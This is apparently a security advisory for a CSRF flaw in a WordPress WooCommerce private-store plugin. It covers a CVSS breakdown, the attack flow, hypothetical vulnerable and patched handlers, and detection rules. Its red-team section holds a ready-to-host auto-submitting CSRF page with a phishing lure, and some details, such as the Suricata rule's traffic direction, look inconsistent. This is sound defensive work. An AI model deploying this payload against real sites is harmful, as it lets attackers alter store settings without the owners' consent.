CVE-2025-22731

Executive Summary

CVE-2025-22731 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the WordPress plugin Build Private Store For Woocommerce, developed by Silverplugins217. The flaw affects all versions up to and including 1.0. This vulnerability allows an attacker to forge malicious requests on behalf of an authenticated administrator, potentially leading to unauthorized configuration changes within the private store settings. The CVSS v3.1 base score is 4.3 (Medium), with a low attack complexity and no privileges required, but user interaction is necessary. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is not a package manager (NPM, PyPI, Go, Ruby) dependency. However, organizations using this plugin should treat it as a supply chain risk due to the lack of a patch and the potential for malicious actors to exploit the CSRF to inject backdoors or alter store configurations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim (admin) must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data is directly exposed.
• Integrity (I): Low (L) – The attacker can modify store settings (e.g., change private store visibility, pricing, or access rules).
• Availability (A): None (N) – No denial-of-service impact.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin’s role in e-commerce (WooCommerce) elevates the risk for affected stores. An attacker could manipulate the private store to expose sensitive products or redirect payments.

Deep Dive & Mechanics

The vulnerability stems from the plugin’s failure to implement CSRF tokens (nonces) in its administrative actions. In WordPress, CSRF protection is typically enforced via wp_nonce_field() and check_admin_referer(). The build-private-store-for-woocommerce plugin likely processes settings updates (e.g., enabling/disabling private store, setting access roles) via admin-post.php or AJAX handlers without verifying the request’s origin.

Attack Flow:

1. An attacker crafts a malicious HTML page containing a form or JavaScript that submits a request to the vulnerable WordPress admin endpoint (e.g., /wp-admin/admin-post.php?action=update_private_store_settings).
2. The attacker lures an authenticated administrator to visit this page (e.g., via phishing email, forum post, or compromised site).
3. The victim’s browser automatically sends the forged request, including their session cookies.
4. The plugin processes the request, altering the private store configuration (e.g., disabling access restrictions, changing product visibility).

Root Cause: Missing CSRF nonce validation in the plugin’s settings update handler.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. A patched version would include nonce verification.

Vulnerable Code (hypothetical example from plugin):

// In admin/class-build-private-store-admin.php
add_action('admin_post_update_private_store', 'handle_settings_update');
function handle_settings_update() {
    // No nonce check!
    update_option('bps_private_store_enabled', $_POST['enabled']);
    update_option('bps_allowed_roles', $_POST['roles']);
    wp_redirect(admin_url('admin.php?page=build-private-store'));
}

Patched Code (recommended fix):

add_action('admin_post_update_private_store', 'handle_settings_update');
function handle_settings_update() {
    // Add nonce verification
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'update_private_store_nonce')) {
        wp_die('Security check failed.');
    }
    update_option('bps_private_store_enabled', sanitize_text_field($_POST['enabled']));
    update_option('bps_allowed_roles', array_map('sanitize_text_field', $_POST['roles']));
    wp_redirect(admin_url('admin.php?page=build-private-store'));
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and an admin session active.
• Ability to host a malicious HTML page (e.g., on attacker-controlled server or via XSS).

Exploit HTML (csrf.html):

<html>
<body>
<h1>Click to Win a Prize!</h1>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="update_private_store">
    <input type="hidden" name="enabled" value="0">
    <input type="hidden" name="roles" value="subscriber">
    <input type="submit" value="Claim Prize">
</form>
<script>
    // Auto-submit for stealth
    document.forms[0].submit();
</script>
</body>
</html>

Steps:

1. Host the HTML file on a server accessible to the victim.
2. Send a phishing email with a link to the HTML file.
3. When the admin clicks the link, the form auto-submits, disabling the private store and setting access to subscribers only.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected POST requests to /wp-admin/admin-post.php with action=update_private_store (or similar) from external referrers.
• Alert on admin session activity originating from non-admin IPs or unusual user agents.

Defense:

• Immediately disable the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce (though this is complex).
• Use WordPress security plugins (e.g., Wordfence) that add CSRF protection layers.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-post.php with action=update_private_store (or similar) from external domains.
  • Referer header pointing to a malicious site (e.g., evil.com).
• File System:
  • Unexpected changes to wp_options table entries: bps_private_store_enabled, bps_allowed_roles.
  • Log entries in /wp-content/debug.log showing nonce failures (if patched).
• Behavioral:
  • Admin user performing configuration changes without corresponding audit log entries (if logging is enabled).

Detection Engineering

YARA Rule

rule Detect_CSRF_Exploit_HTML {
    meta:
        description = "Detects HTML files attempting CSRF against Build Private Store For WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-22731"
    strings:
        $action = "action=update_private_store" nocase
        $form = "<form" nocase
        $submit = "submit()" nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Attempt Against Build Private Store For WooCommerce
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1a3d4f5e6c
status: experimental
description: Detects HTTP POST requests to admin-post.php with action parameter targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=update_private_store'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present, but this rule does not check nonce)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22731 CSRF Attempt - Build Private Store For WooCommerce";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin-post.php";
    http.uri; content:"action=update_private_store";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. Navigate to Plugins > Installed Plugins and deactivate "Build Private Store For Woocommerce".
2. Audit current settings – Check wp_options for bps_* entries and revert any unauthorized changes.
3. Implement CSRF protection manually by adding nonce checks to the plugin’s admin handlers (see patched code above).

Long-term:

• Monitor the plugin’s page on WordPress.org for updates.
• Consider replacing the plugin with an alternative that is actively maintained and has CSRF protection.
• Enforce Content Security Policy (CSP) headers to block inline scripts and form submissions from unknown origins.

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